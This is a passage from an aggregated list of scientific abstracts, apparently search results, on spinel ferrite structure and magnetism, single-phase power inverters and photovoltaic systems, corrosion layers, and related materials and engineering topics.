inversion of the spinel lattice. Results from the FexCr3-xO4 spinels are applied to identifying the corrosion layers of several stainless steel samples exposed to lead-bismuth eutectic in a high-temperature, oxygen controlled environment. The Raman spectrum of the outer corrosion layer in all steels is identified as Fe3O4. The position of the A 1g mode for the inner corrosion layer indicates an iron chromium spinel oxide. Micro-Raman spectroscopy proves capable of determining structural and compositional differences between complex corrosion layers of stainless steels. 5. Overview of Single-Phase Grid-Connected Photovoltaic Systems DEFF Research Database (Denmark) Yang, Yongheng; Blaabjerg, Frede 2017-01-01 A continuous booming installation of solar photovoltaic (PV) systems has been witnessed worldwide. It is mainly driven by the imperative demand of “clean” power generation from renewables. Grid-connected PV systems will thus become an even more active player in the future mixed power systems, which...... systems. This chapter thus gives an overview of the advancement of power electronics converters in single-phase grid-connected PV systems, being commonly used in residential applications. Demands to single-phase grid-connected PV systems and the general control strategies are also addressed...... are linked together by a vast of power electronics converters and the power grid. In order to achieve a reliable and efficient power generation from PV systems, more stringent demands have been imposed on the entire PV system. It, in return, advances the development of the power converter technology in PV... 6. Structural and magnetic studies of Cr doped nickel ferrite thin films Energy Technology Data Exchange (ETDEWEB) Panwar, Kalpana, E-mail: [email protected] [Department of Pure & Applied Physics, University of Kota, Kota-324010 (India); Department of Physics, Govt. Women Engg. College, Ajmer-305002 (India); Heda, N. L. [Department of Pure & Applied Physics, University of Kota, Kota-324010 (India); Tiwari, Shailja [Department of Physics, Govt. Women Engg. College, Ajmer-305002 (India); Bapna, Komal; Ahuja, B. L. [Department of Physics, M. L. Sukhadia University, Udaipur-313001 (India); Choudhary, R. J.; Phase, D. M. [UGC-DAE Consortium for Scientific Research, University Campus, Indore-452017 (India) 2016-05-23 We have studied the structural and magnetic properties of Cr doped nickel ferrite thin films deposited on Si (100) and Si (111) using pulsed laser deposition technique. The films were deposited under vacuum and substrate temperature was kept at 700°C. X-ray diffraction analysis revealed that films on both substrates have single phase cubic spinel structure. However, the film grown on Si (111) shows better crystalline behavior. Fourier transform infrared spectroscopy suggests that films on both substrates have mixed spinel structure. These films show magnetic hysteresis behavior and magnetization value of film on Si (100) is larger than that on Si (111). It turns out that structural and magnetic properties of these two films are correlated. 7. Instantaneous power flow determination for single-phase UPFC Energy Technology Data Exchange (ETDEWEB) Dobrucky, B.; Drozdy, S.; Pokorny, M.; Pavlanin, R. [Zilina Univ., Zilina (Slovakia) 2007-07-01 The parallel shunt active filter in a unified power flow conditioner (UPFC) can filter and compensate the reactive power of basic and higher current harmonics. This paper reported on a study in which a new theory of orthogonal transform was used to control a single-phase UPFC system and transform it into a two-axes system. In addition to estimating the load current phase shifts, the study also determined the instantaneous active and reactive powers. The new theory is based on the premise that ordinary single-phase quantity can be complemented by a virtual fictitious phase so that both of them will create an orthogonal system, as is usual in three-phase systems. The theory uses efficient methods of analysis, such as time-sub-optimal determination of fundamental harmonics; average- and/or root-mean-square values; or instantaneous reactive power methods. The load current phase shift can be used to compensate for voltage drops. This paper outlined a practical application of the method in a case of active and reactive power determination for single-phase UPFC. It also presented some examples of the successful simulation experiments results focused on regulation output voltage of UPFC. 9 refs., 13 figs., 1 appendix. 8. Investigation on a Novel Discontinuous Pulse-Width Modulation Algorithm for Single-phase Voltage Source Rectifier DEFF Research Database (Denmark) Qu, Hao; Yang, Xijun; Guo, Yougui 2014-01-01 Single-phase voltage source converter (VSC) is an important power electronic converter (PEC), including single-phase voltage source inverter (VSI), single-phase voltage source rectifier (VSR), single-phase active power filter (APF) and single-phase grid-connection inverter (GCI). Single-phase VSC... 9. Delithiation/relithiation process of LiCoMnO4 spinel as 5 V electrode material Science.gov (United States) Dräger, Christoph; Sigel, Florian; Indris, Sylvio; Mikhailova, Daria; Pfaffmann, Lukas; Knapp, Michael; Ehrenberg, Helmut 2017-12-01 In this work, the LiCoMnO4 spinel has been synthesized by a two-step sol-gel based method, followed by sintering at temperatures up to 750 °C in oxygen. After structural characterization of the pristine material via synchrotron and neutron diffraction, the material was characterized via SEM and 6Li-MAS-NMR spectroscopy. 6Li-MAS-NMR spectroscopy in different states of charge revealed, that manganese and cobalt are distributed homogenously throughout the material and the delithiation primary occurs from the manganese environments. It was also shown, that it is not possible to fully delithiate the material in a practical voltage range of an electrolyte. Electrochemical cycling results reveal that about 70% of the lithium can be extracted and reinserted electrochemically in the voltage window from 4.5 to 5.4 V against lithium from/into LiCoMnO4. In situ synchrotron powder diffraction results show that lithium extraction/insertion occurs via a single-phase mechanism over the whole range of lithium contents and that the discharge capacity is mainly restricted by the voltage-window of the electrolyte. Furthermore it was shown, that the delithiation occurs up to a potential of 5.6 V. 10. Effect of Al substitution on the structural and magnetic properties of Co-Zn ferrites Science.gov (United States) Murali, N.; Margarette, S. J.; Kumar, G. Pavan; Sailaja, B.; Mulushoa, S. Yonatan; Himakar, P.; Babu, B. Kishore; Veeraiah, V. 2017-10-01 In this work we investigate the effect of aluminum (Al) substitution on the structural, morphological and magnetic properties of Co0.5Zn0.5AlxFe2-xO4 (x = 0.0, 0.05 and 0.1) prepared by sol-gel method. The structural and magnetic properties are performed by using X-ray powder diffraction (XRD), scanning electron microscope (SEM), Fourier transform infrared spectra (FT-IR) and Vibrating Sample Magnetometer (VSM) studies. The XRD data revealed the formation of single phase cubic spinel with crystallite sizes around 45.83-51.84 nm for Al substituted samples. Two significant absorption bands around 600 and 400 cm-1 are observed from FT-IR spectra of the samples under investigation, which confirmed the formation of a single-phase cubic spinel. Interionic bond lengths and bond angles confirm the solubility of Al in the spinel lattice and support the observed variation in magnetic properties. Using a vibrating sample magnetometer (VSM), saturation magnetization and coercivity are measured. A decrease in lattice parameter and saturation magnetization with increasing Al concentration is attributed to the difference in the ionic radii and weakening of exchange interactions. 11. Investigation of effect of single phase electrical faults at LOFT International Nuclear Information System (INIS) Yeates, J.A. 1978-01-01 This LTR presents the general basic engineering facts related to an open phase fault in a three phase power system commonly referred to as a single phase condition. It describes the probable results to electrical motors and describes the LOFT system design factors which minimize the likelihood of such a fault occurring at LOFT. It recognizes that the hazard of such a fault is a realistic threat and notes the types of relays designed to provide protection. Recommendations are made to perform a detailed engineering study to determine the most advantageous protective relay design, and to implement such a design by installation of the necessary devices and controls 12. Solution Concept of Modular Single Phase Active Power Filters Directory of Open Access Journals (Sweden) Marek Roch 2006-01-01 Full Text Available This paper investigates a modular or a decentralised single-phase active power filter control strategy. It is based on the evaluation of the harmonic reference load currents for the active power filter blocks operating under specific harmonic frequencies. The underlying principle of the modular active power filter is explained and it is shown how the required reference harmonic currents can be evaluated. Simulation results demonstrated the improvement in the dynamic performance of the modular active power filter presented here in comparison with the conventional type. 13. A Transformer-less Single Phase Inverter For photovoltaic Systems DEFF Research Database (Denmark) Mostaan, Ali; Alizadeh, Ebrahim; Qu, Ying 2017-01-01 A single phase transformer-less inverter is introduced in this paper. The negative polarities of the input voltage and output terminal have common ground. Therefore, the leakage current problem that is common in PV systems is eliminated naturally. In addition, the proposed inverter has fewer...... components compared with its counterparts and only one switch conducts during the active states which enhance the inverter efficiency. The proposed inverter is analyzed in details and compared with some existing topologies. The performance of the proposed inverter is validated using the simulation results.... 14. Magnetic characterization of rare earth doped spinel ferrite Science.gov (United States) Abdellatif, M. H.; El-Komy, G. M.; Azab, A. A. 2017-11-01 Doping spinel structure with large rare earth ions can alter the physical properties of the lattice, which can be used for tuning the magnetic and electrical properties of the ferrite material. We investigated the effect of rare earth doping on the crystal properties such as magnetoimpedance. The X-ray and HRTEM data revealed that the strain increases with increasing the ionic radius of the rare-earth. The Study implemented three types of rare earth, namely Dy, Gd, and Sm. The rare earth ions are in the Spinel crystal of Mn-Cr ferrite. The magnetoimpedance showed all negative slope, with the Gd-doped Mn-Cr ferrite sample, have the giant magnetoimpedance up to 60% drop in impedance at electric field frequency 10 kHz. The magnetisation and remanence of the samples were correlated to the microstrain, in which the magnetisation and remanence of the rare earth doped Mn-Cr ferrite samples decrease as the microstrain increases. 15. Impact of disorder on ionic charge in spinel compounds Energy Technology Data Exchange (ETDEWEB) Surble, Suzy [Materiaux fonctionnels pour l' energie, CEA - CNRS - Ecole Centrale Paris, CEA/DEN/SRMA 91191 Gif-sur-Yvette and SPMS, 92295 Chatenay-Malabry (France)], E-mail: [email protected]; Baldinozzi, Gianguido; Simeone, David; Gosset, Dominique [Materiaux fonctionnels pour l' energie, CEA - CNRS - Ecole Centrale Paris, CEA/DEN/SRMA 91191 Gif-sur-Yvette and SPMS, 92295 Chatenay-Malabry (France); Thome, Lionel [CSNSM, CNRS - Universite d' Orsay, 91405 Orsay (France) 2008-06-15 In order to obtain a correlation between the ionic charge and the local environment, the evolution of valence charges of cations in different 2-3 spinel compounds was investigated as a function of the temperature. The evolution of the structural parameters in normal (MgAl{sub 2}O{sub 4}), mixed (MgGa{sub 2}O{sub 4}) and inverse (MgIn{sub 2}O{sub 4}) spinels as a function of the temperature was extracted from X-ray diffraction patterns collected during different thermal annealings. The evolution of these structural parameters as a function of the disorder is analyzed within the bond valence shell model: large variations of the cation valence are observed in these three spinel compounds. From this analysis, a strong correlation between the change of the cation valence and the local disorder is pointed out. Including this dependence in the microscopic models may provide a better agreement between experimental observations and simulations. 16. Cation disorder in high-dose, neutron-irradiated spinel International Nuclear Information System (INIS) Sickafus, K.E.; Larson, A.C.; Yu, N.; Nastasi, M.; Hollenberg, G.W.; Garner, F.A.; Bradt, R.C. 1994-08-01 The objective of this effort is to determine whether MgAl 2 O 4 spinel is a suitable ceramic for fusion applications. Here, the crystal structures of MgAl 2 O 4 spinel single crystals irradiated to high neutron fluences [>5·10 26 n/m 2 (E n > 0.1 MeV)] were examined by neutron diffraction. Crystal structure refinement of the highest dose sample indicated that the average scattering strength of the tetrahedral crystal sites decreased by ∼ 20% while increasing by ∼ 8% on octahedral sites. Since the neutron scattering length for Mg is considerably larger than for Al, this results is consistent with site exchange between Mg 2+ ions on tetrahedral sites and Al 3+ ions on octahedral sites. Least-squares refinements also indicated that, in all irradiated samples, at least 35% of Mg 2+ and Al 3+ ions in the crystal experienced disordering replacements. This retained dpa on the cation sublattices is the largest retained damage ever measured in an irradiated spinel material 17. Immiscibility in the NiFe2O4-NiCr2O4 Spinel Binary Energy Technology Data Exchange (ETDEWEB) S Ziemniak 2004-08-13 The solid solution behavior of the Ni(Fe{sub 1-n}Cr{sub n}){sub 2}O{sub 4} spinel binary is investigated in the temperature range 400-1200 C. Non-ideal solution behavior, as exhibited by non-linear changes in lattice parameter with changes in n, is observed in a series of single-phase solids air-cooled from 1200 C. Air-annealing for one year at 600 C resulted in partial phase separation in a spinel binary having n = 0.5. Spinel crystals grown from NiO, Fe{sub 2}O{sub 3} and Cr{sub 2}O{sub 3} reactants, mixed to give NiCrFeO{sub 4}, by Ostwald ripening in a molten salt solvent, exhibited single phase stability down to about 750 C (the estimated consolute solution temperature, T{sub cs}). A solvus exists below T{sub cs}. The solvus becomes increasingly asymmetric at lower temperatures and extrapolates to n values of 0.2 and 0.7 at 300 C. The extrapolated solvus is shown to be consistent with that predicted using a primitive regular solution model in which free energies of mixing are determined entirely from changes in configurational entropy at room temperature. 18. Electronic and optical properties of spinel zinc ferrite: ab initio hybrid functional calculations Science.gov (United States) Fritsch, Daniel 2018-03-01 Spinel ferrites in general show a rich interplay of structural, electronic, and magnetic properties. Here, we particularly focus on zinc ferrite (ZFO), which has been observed experimentally to crystallise in the cubic normal spinel structure. However, its magnetic ground state is still under dispute. In addition, some unusual magnetic properties in ZFO thin films or nanostructures have been explained by a possible partial cation inversion and a different magnetic interaction between the two cation sublattices of the spinel structure compared to the crystalline bulk material. Here, density functional theory has been applied to investigate the influence of different inversion degrees and magnetic couplings among the cation sublattices on the structural, electronic, magnetic, and optical properties. Effects of exchange and correlation have been modelled using the generalised gradient approximation (GGA) together with the Hubbard ‘+U’ parameter, and the more elaborate hybrid functional PBE0. While the GGA+U calculations yield an antiferromagnetically coupled normal spinel structure as the ground state, in the PBE0 calculations the ferromagnetically coupled normal spinel is energetically slightly favoured, and the hybrid functional calculations perform much better with respect to structural, electronic and optical properties. 19. Density functional theory based comparative study of electronic structures and magnetic properties of spinel ACr2O4 (A = Mn, Fe, Co, Ni) compounds Science.gov (United States) 2015-10-01 Using the DFT+U method and generalized gradient approximation (GGA) we perform the first systematic study of the chromite series ACr2O4 (A = Mn, Fe, Co, Ni) by computing their structural and magnetic properties. The results are analyzed by their electronic structures. We find that in spite of varying structural distortions, the electronic structures are very similar across the series. Such similarities are responsible for qualitative uniformities in their magnetic phases at low temperatures, as observed in the experiments. We find that the strong electron-electron correlation, along with competing magnetic exchange splitting and the crystal field splitting, are responsible for their electronic properties such as the electronic band gaps. Our results regarding the magnetic exchange parameters are in good agreement with the available results and show the relative importance of the pairwise exchange interactions in each of the compounds. The ground state magnetic spin structures and the ferrimagnetic transition temperatures obtained from these exchange parameters, in combination with a phenomenological theory, qualitatively agree with the experiments and other theoretical results. 20. Single Phase Current-Source Active Rectifier for Traction: Control System Design and Practical Problems Directory of Open Access Journals (Sweden) Jan Michalik 2006-01-01 Full Text Available This research has been motivated by industrial demand for single phase current-source active rectifier dedicated for reconstruction of older types of dc machine locomotives. This paper presents converters control structure design and simulations. The proposed converter control is based on the mathematical model and due to possible interaction with railway signaling and required low switching frequency employs synchronous PWM. The simulation results are verified by experimental tests performed on designed laboratory prototype of power of 7kVA 1. High Quality Model Predictive Control for Single Phase Grid Connected Photovoltaic Inverters DEFF Research Database (Denmark) 2018-01-01 Single phase grid-connected inverters with LCL filter are widely used to connect the photovoltaic systems to the utility grid. Among the presented control schemes, predictive control methods are faster and more accurate but are more complex to implement. Recently, the model-predictive control...... is low, the inverter output current has a high total harmonic distortions. In order to reduce the total harmonic distortions of the injected current, this paper presents a high-quality model-predictive control for one of the newest structure of the grid connected photovoltaic inverter, i.e., HERIC... 2. A new type of single-phase five-level inverter Science.gov (United States) Xu, Zhi; Li, Shengnan; Qin, Risheng; Zhao, Yanhang 2017-11-01 At present, Neutral Point Clamped (NPC) multilevel inverter is widely applied in new energy field. However, it has some disadvantages including low utilization rate of direct current (DC) voltage source and the unbalance of neutral potential. Therefore, a new single-phase five level inverter is proposed in this paper. It has two stage structure, the former stage is equivalent to three level DC/DC converter, and the back stage uses H bridge to realize inverter. Compared with the original central clamp type inverter, the new five level inverter can improve the utilization of DC voltage, and realize the neutral point potential balance with hysteresis comparator. 3. Reducing Electromagnetic Interference in a Grid Tied Single Phase Power Inverter Science.gov (United States) 2016-09-01 ELECTROMAGNETIC INTERFERENCE IN A GRID TIED SINGLE PHASE POWER INVERTER by Jason Hassan Valiani September 2016 Thesis Advisor: Giovanna Oriti...3. REPORT TYPE AND DATES COVERED Master’s thesis 4. TITLE AND SUBTITLE REDUCING ELECTROMAGNETIC INTERFERENCE IN A GRID TIED SINGLE PHASE POWER...The addition of a passive filter proved to minimize the conducted EMI for a single -phase grid-tied inverter. 14. SUBJECT TERMS single -phase 4. Structure and magnetic properties of La substituted ZnFe2O4 nanoparticles synthesized by sol–gel autocombustion method International Nuclear Information System (INIS) Masoudpanah, S.M.; Seyyed Ebrahimi, S.A.; Derakhshani, M.; Mirkazemi, S.M. 2014-01-01 ZnFe 2−x La x O 4 (0spinel structure and on the magnetic properties were investigated by X-ray diffraction (XRD), infrared spectroscopy and vibrating sample magnetometer methods. The XRD results showed that the single phase La 3+ substituted zinc ferrite nanoparticles exhibit partially inverse spinel structure with the crystallite size of 10–20 nm, which was also confirmed by transmission electron microscopy. The magnetic measurements show that the saturation magnetization (Ms) increases till x=0.05, due to the increase of inversity, and then decreases from x=0.05 to x=0.2, because of the decrease in the total moments with the La 3+ substitution. - Highlights: • Single phase ZnFe 2−x La x O 4 (0spinel structure. • ZnFe 1.95 La 0.05 O 4 nanoparticles exhibit maximum magnetization by a compromise between inversity and composition 5. Thermobarometry for spinel lherzolite xenoliths in alkali basalts Science.gov (United States) Ozawa, Kazuhito; Youbi, Nasrrddine; Boumehdi, Moulay Ahmed; Nagahara, Hiroko 2016-04-01 Application of geothermobarometers to peridotite xenoliths has been providing very useful information on thermal and chemical structure of lithospheric or asthenospheric mantle at the time of almost instantaneous sampling by the host magmas, based on which various thermal (e.g., McKenzie et al., 2005), chemical (e.g., Griffin et al., 2003), and rheological (e.g., Ave Lallemant et al., 1980) models of lithosphere have been constructed. Geothermobarometry for garnet or plagioclase-bearing lithologies provide accurate pressure estimation, but this is not the case for the spinel peridotites, which are frequently sampled from Phanerozoic provinces in various tectonic environments (Nixon and Davies, 1987). There are several geobarometers proposed for spinel lherzolite, such as single pyroxene geothermobarometer (Mercier, 1980) and geothermobarometer based on Ca exchange between olivine and clinopyroxene (Köhler and Brey, 1990), but they have essential problems and it is usually believed that appropriated barometers do not exist for spinel lherzolites (O'Reilly et al., 1997; Medaris et al., 1999). It is thus imperative to develop reliable barometry for spinel peridotite xenoliths. We have developed barometry for spinel peridotite xenoliths by exploiting small differences in pressure dependence in relevant reactions, whose calibration was made through careful evaluation of volume changes of the reactions. This is augmented with higher levels of care in application of barometer by choosing mineral domains and their chemical components that are in equilibrium as close as possible. This is necessary because such barometry is very sensitive to changes in chemical composition induced by transient state of the system possibly owing to pressure and temperature changes as well as chemical modification, forming chemical heterogeneity or zoning frequently reported from various mantle xenoliths (Smith, 1999). Thus very carful treatment of heterogeneity, which might be trivial for 6. Model Based Control of Single-Phase Marine Cooling Systems DEFF Research Database (Denmark) Hansen, Michael 2014-01-01 these systems. Traditionally, control for this type of cooling system has been limited to open-loop control of pumps combined with a couple of local PID controllers for bypass valves to keep critical temperatures within design limits. This research considers improvements in a retrofit framework to the control...... linearization, an H∞-control design is applied to the resulting linear system. Disturbance rejection capabilities and robustness of performance for this control design methodology is compared to a baseline design derived from classical control theory. This shows promising results for the nonlinear robust design......This thesis is concerned with the problem of designing model-based control for a class of single-phase marine cooling systems. While this type of cooling system has been in existence for several decades, it is only recently that energy efficiency has become a focus point in the design and operation... 7. Modeling of a single-phase photovoltaic inverter Energy Technology Data Exchange (ETDEWEB) Maris, T.I. [Department of Electrical Engineering, Technological Educational Institute of Chalkida, 334 40 Psachna Evias (Greece); Kourtesi, St. [Hellenic Public Power Corporation S.A., 22 Chalcocondyli Str., 104 32 Athens (Greece); Ekonomou, L. [Hellenic American University, 12 Kaplanon Str., 106 80 Athens (Greece); Fotis, G.P. [National Technical University of Athens, School of Electrical and Computer Engineering, High Voltage Laboratory, 9 Iroon Politechniou St., Zografou, 157 80 Athens (Greece) 2007-11-06 The paper presents the design of a single-phase photovoltaic inverter model and the simulation of its performance. Furthermore, the concept of moving real and reactive power after coupling this inverter model with an a.c. source representing the main power distribution grid was studied. Brief technical information is given on the inverter design, with emphasis on the operation of the circuit used. In the technical information section, a description of real and reactive power components is given with special reference to the control of these power components by controlling the power angle or the difference in voltage magnitudes between two voltage sources. This a.c. converted voltage has practical interest, since it is useful for feeding small house appliances. (author) 8. Benchmarks for single-phase flow in fractured porous media Science.gov (United States) Flemisch, Bernd; Berre, Inga; Boon, Wietse; Fumagalli, Alessio; Schwenck, Nicolas; Scotti, Anna; Stefansson, Ivar; Tatomir, Alexandru 2018-01-01 This paper presents several test cases intended to be benchmarks for numerical schemes for single-phase fluid flow in fractured porous media. A number of solution strategies are compared, including a vertex and two cell-centred finite volume methods, a non-conforming embedded discrete fracture model, a primal and a dual extended finite element formulation, and a mortar discrete fracture model. The proposed benchmarks test the schemes by increasing the difficulties in terms of network geometry, e.g. intersecting fractures, and physical parameters, e.g. low and high fracture-matrix permeability ratio as well as heterogeneous fracture permeabilities. For each problem, the results presented are the number of unknowns, the approximation errors in the porous matrix and in the fractures with respect to a reference solution, and the sparsity and condition number of the discretized linear system. All data and meshes used in this study are publicly available for further comparisons. 9. Influence of Zn Substitution on Structural, Magnetic and Electrical Properties of MgFe2O4 Science.gov (United States) Ramarao, K.; Rajesh Babu, B.; Kishore Babu, B.; Veeraiah, V.; Ramarao, S. D.; Rajasekhar, K.; Venkateswara Rao, A. 2018-03-01 Polycrystalline spinel ferrites Zn x Mg1-x Fe2O4 (where x = 0.0, 0.1, 0.15, 0.2, 0.25 and 0.3) were prepared by standard ceramic method and characterized by x-ray diffraction, Fourier transform infrared spectroscopy (FTIR), and vibrating sample magnetometer. Structural, electric and magnetic properties have been discussed in detail on the basis of Zn composition. The composition shows formation of a single-phase cubic spinel structure and the lattice constant a' increases with increasing Zn concentration. FTIR spectra show two prominent frequency bands in the wave number range 400-600 cm-1, which further confirms the cubic spinel structure and completion of chemical reaction. Magnetic studies revealed that the saturation magnetization increases with increasing the substitution of Zn. Cation distribution for the present system was estimated by comparing observed and calculated x-ray line intensities. From this it is observed that Zn2+ ions prefer to occupy A sites, and Mg2+ and Fe3+ ions distributed into both A and B sites. The observed variation in magnetization has been explained on the basis of distribution of cations among A and B sites of the spinel lattice. A significant influence of cation distribution is observed on DC electrical resistivity and activation energy. 10. Detoxification and immobilization of chromite ore processing residue in spinel-based glass-ceramic Energy Technology Data Exchange (ETDEWEB) Liao, Chang-Zhong [Guangdong Key Laboratory of Agricultural Environment Pollution Integrated Control, Guangdong Institute of Eco-Environmental and Soil Sciences, Guangzhou 510650 (China); Department of Civil Engineering, The University of Hong Kong, Pokfulam Road, Hong Kong Special Administrative Region (China); Tang, Yuanyuan [School of Environmental Science and Engineering, South University of Science and Technology of China, Shenzhen 518055 (China); Lee, Po-Heng [Department of Civil & Environmental Engineering, The Hong Kong Polytechnic University, Hong Kong Special Administrative Region (China); Liu, Chengshuai, E-mail: [email protected] [Guangdong Key Laboratory of Agricultural Environment Pollution Integrated Control, Guangdong Institute of Eco-Environmental and Soil Sciences, Guangzhou 510650 (China); State Key Laboratory of Environmental Geochemistry, Institute of Geochemistry, Chinese Academy of Sciences, Guiyang 550009 (China); Shih, Kaimin, E-mail: [email protected] [Department of Civil Engineering, The University of Hong Kong, Pokfulam Road, Hong Kong Special Administrative Region (China); Li, Fangbai [Guangdong Key Laboratory of Agricultural Environment Pollution Integrated Control, Guangdong Institute of Eco-Environmental and Soil Sciences, Guangzhou 510650 (China) 2017-01-05 Graphical abstract: Schematic illustration of detoxification and immobilization of chromite ore processing residue in spinel-based glass-ceramic matrix. All Cr(VI) species is reduced to Cr(III) and most chromium contents are incorporated into spinel structure where the residual chromium are resided in the glass networks. - Highlights: • COPR was detoxified and immobilized in a spinel-based glass-ceramic matrix. • Cr-rich crystalline phase was determined to be MgCr{sub 1.32}Fe{sub 0.19}Al{sub 0.49}O{sub 4} spinel. • The partitioning ratio of Cr into spinel in the glass-ceramic can be up to 77%. • No Cr(VI) was observed after conversion of COPR into a glass-ceramic. • TCLP results demonstrate the superiority of the final product in immobilizing Cr. - Abstract: A promising strategy for the detoxification and immobilization of chromite ore processing residue (COPR) in a spinel-based glass-ceramic matrix is reported in this study. In the search for a more chemically durable matrix for COPR, the most critical crystalline phase for Cr immobilization was found to be a spinel solid solution with a chemical composition of MgCr{sub 1.32}Fe{sub 0.19}Al{sub 0.49}O{sub 4}. Using Rietveld quantitative X-ray diffraction analysis, we identified this final product is with the phases of spinel (3.5 wt.%), diopside (5.2 wt.%), and some amorphous contents (91.2 wt.%). The partitioning ratio of Cr reveals that about 77% of the Cr was incorporated into the more chemically durable spinel phase. The results of Cr K-edge X-ray absorption near-edge spectroscopy show that no Cr(VI) was observed after conversion of COPR into a glass-ceramic, which indicates successful detoxification of Cr(VI) into Cr(III) in the COPR-incorporated glass-ceramic. The leaching performances of Cr{sub 2}O{sub 3} and COPR-incorporated glass-ceramic were compared with a prolonged acid-leaching test, and the results demonstrate the superiority of the COPR-incorporated glass-ceramic matrix in the 11. Comparative Study of Optical and Magneto-Optical Properties of Normal, Disordered and Inverse Spinel Type Oxides OpenAIRE Zviagin, Vitaly; Richter, Peter; Böntgen, Tammo; Lorenz, Michael; Ziese, Michael; Zahn, Dietrich R. T.; Salvan, Georgeta; Grundmann, Marius; Schmidt-Grund, Rüdiger 2015-01-01 Co$_3$O$_4$, ZnFe$_2$O$_4$, CoFe$_2$O$_4$, ZnCo$_2$O$_4$, and Fe$_3$O$_4$ thin films were fabricated by pulsed laser deposition at high and low temperatures resulting in crystalline single-phase normal, inverse, as well as disordered spinel oxide thin films with smooth surface morphology. The dielectric function, determined by spectroscopic ellipsometry in a wide spectral range from 0.5 eV to 8.5 eV, is compared with the magneto-optical response of the dielectric tensor, investigated by magne... 12. Syndeformation Chrome Spinels Inclusions in the Plastically Deformed Olivine Aggregates (Kraka Ophiolites, the Southern Urals Directory of Open Access Journals (Sweden) D. E. Saveliev 2015-12-01 Full Text Available This article presents the results of structural, petrographic, mineralogical and chemical studies of dunite veinlets in spinel peridotite from the Kraka ophiolites. It is demonstrated that plastic deformation of polycrystalline olivine, which form dunite, was accompanied by precipitation of impurities (aluminum and chrome as newly formed chrome spinels. The thinnest acicular inclusions of 0.3-0.5 micron thick are aligned in olivine grains along [010] axis. Bigger elongated irregular chrome spinel grains usually occur along grain and sub-grain olivine boundaries, and, occasionally, inside the grains along [100] axis. Alteration from the fine xenomorphic grains of chrome spinels to the bigger idiomorphic crystals was observed. Analogically to dynamic ageing (dispersion hardening in metals, the structural and chemical alterations in dunites are interpreted as deformation induced segregation of impurities. It is suggested that the euhedral chrome spinel grains typical for ophiolitic dunites were formed by coalescence and spheroidization. This process may be a key factor in the formation of ophiolitic chrome ore deposits. 13. Composition dependence of structural, magnetic and electrical properties of Co substituted magnesium ferrite Science.gov (United States) Ramarao, K.; Rajesh Babu, B.; Kishore Babu, B.; Veeraiah, V.; Ramarao, S. D.; Rajasekhar, K.; Venkateswara Rao, A. 2018-01-01 In this work cobalt substituted magnesium spinel ferrite having general formula Mg1-xCoxFe2O4 (where x = 0.0, 0.1, 0.15,0.2,0.25 and 0.3) was synthesized by solid state reaction method. All the sample are characterized by X-ray diffraction (XRD), Fourier transform infrared spectroscopy (FTIR), Vibrating sample magnetometer (VSM) and dc resistivity measurements. XRD analysis confirms the formation of single phase spinel and the calculated lattice constant 'aexp' from XRD decreases as substitution of Co (x) is increased. The FTIR spectra reveled two prominent frequency bands in the wave number range 400-600 cm-1, which confirm the cubic spinel structure. Magnetic studies revealed that the saturation magnetization attains a maximum value when x = 0.2, and then decreases for higher concentration of (x). This non-linear trend in magnetization has been explained on the basis of redistribution of magnetic and non-magnetic cations among A and B sites of the spinel lattice. A significant influence of cation distribution observed on DC electrical resistivity and activation energy. 14. Simplified thermal-hydraulic analysis of single phase natural circulation circuit with two heat exchangers Energy Technology Data Exchange (ETDEWEB) Pinheiro, Larissa Cunha; Su, Jian, E-mail: [email protected], E-mail: [email protected] [Coordenacao dos Programas de Pos-Graduacao em Engenharia (COPPE/UFRJ), Rio de Janeiro, RJ (Brazil). Programa de Engenhraria Nuclear; Cotta, Renato Machado, E-mail: [email protected] [Coordenacao dos Programas de Pos-Graduacao em Engenharia (POLI/COPPE/UFRJ), Rio de Janeiro, RJ (Brazil). Dept. de Engenharia Mecanica 2015-07-01 Single phase natural circulation circuits composed of two convective heat exchangers and connecting tubes are important for the passive heat removal from spent fuel pools (SFP). To keep the structural integrity of the stored spent fuel assemblies, continuously cooling has to be provided in order to avoid increase at the pool temperature and subsequent uncovering of the fuel and enhanced reaction between water and metal releasing hydrogen. Decay heat can achieve considerably high amounts of energy e.g. in the AP1000, considering the emergency fuel assemblies, the maximum heat decay will reach 13 MW in the 15th day (Westinghouse Electric Company, 2010). A highly efficient alternative to do so is by means of natural circulation, which is cost-effective compared to active cooling systems and is inherently safer since presents less associated devices and no external work is required. Many researchers have investigated safety and stability aspects of natural circulation loops (NCL). However, there is a lack of literature concerning the improvement of NCL through a standard unified methodology, especially for natural circulation circuits with two heat exchangers. In the present study, a simplified thermal-hydraulic analysis of single phase natural circulation circuit with two heat exchanges is presented. Relevant dimensionless key groups were proposed to for the design and safety analysis of a scaled NCL for the cooling of spent fuel storage pool with convective cooling and heating. (author) 15. A grid-connected single-phase photovoltaic micro inverter Science.gov (United States) Wen, X. Y.; Lin, P. J.; Chen, Z. C.; Wu, L. J.; Cheng, S. Y. 2017-11-01 In this paper, the topology of a single-phase grid-connected photovoltaic (PV) micro-inverter is proposed. The PV micro-inverter consists of DC-DC stage with high voltage gain boost and DC-AC conversion stage. In the first stage, we apply the active clamp circuit and two voltage multipliers to achieve soft switching technology and high voltage gain. In addition, the flower pollination algorithm (FPA) is employed for the maximum power point tracking (MPPT) in the PV module in this stage. The second stage cascades a H-bridge inverter and LCL filter. To feed high quality sinusoidal power into the grid, the software phase lock, outer voltage loop and inner current loop control method are adopted as the control strategy. The performance of the proposed topology is tested by Matlab/Simulink. A PV module with maximum power 300W and maximum power point voltage 40V is applied as the input source. The simulation results indicate that the proposed topology and the control strategy are feasible. 16. Performance Improvement of Single Phase Inverter using SPWM Science.gov (United States) 2017-08-01 This paper concentrates on modelling and simulation of single phase inverter as a frequency changer modulated by Pulse Width Modulation (PWM). An inverter is a circuit that converts DC sources to AC sources. Pulse Width Modulation is a method that utilization as an approach to abatement add up to harmonic distortion in inverter circuit. The model is executed utilizing MATLAB/Simulink software with the SimPower System Block Set in light of PC simulation. PC simulation assumes an imperative part in the plan, investigation, and assessment of force electronic converter and their controller. MATLAB is a successful instrument to examine a PWM inverter. Preferences of utilizing MATLAB are the accompanying: Faster reaction, accessibility of different simulation devices and utilitarian squares and the nonappearance of joining issues. Safe-replacement methodology need be actualized is to explain exchanging Transients. In this way, Insulated Gate Bipolar Transistor (IGBT) is use as exchanging gadgets. IGBT is ideal since it is anything but difficult to control and low misfortunes. The outcome from Simulink was checked utilizing MATLAB simulation. 17. Direct observation of cation distributions of ideal inverse spinel CoFe2O4nanofibres and correlated magnetic properties. Science.gov (United States) Zeng, Xue; Zhang, Junwei; Zhu, Shimeng; Deng, Xia; Ma, Hongbin; 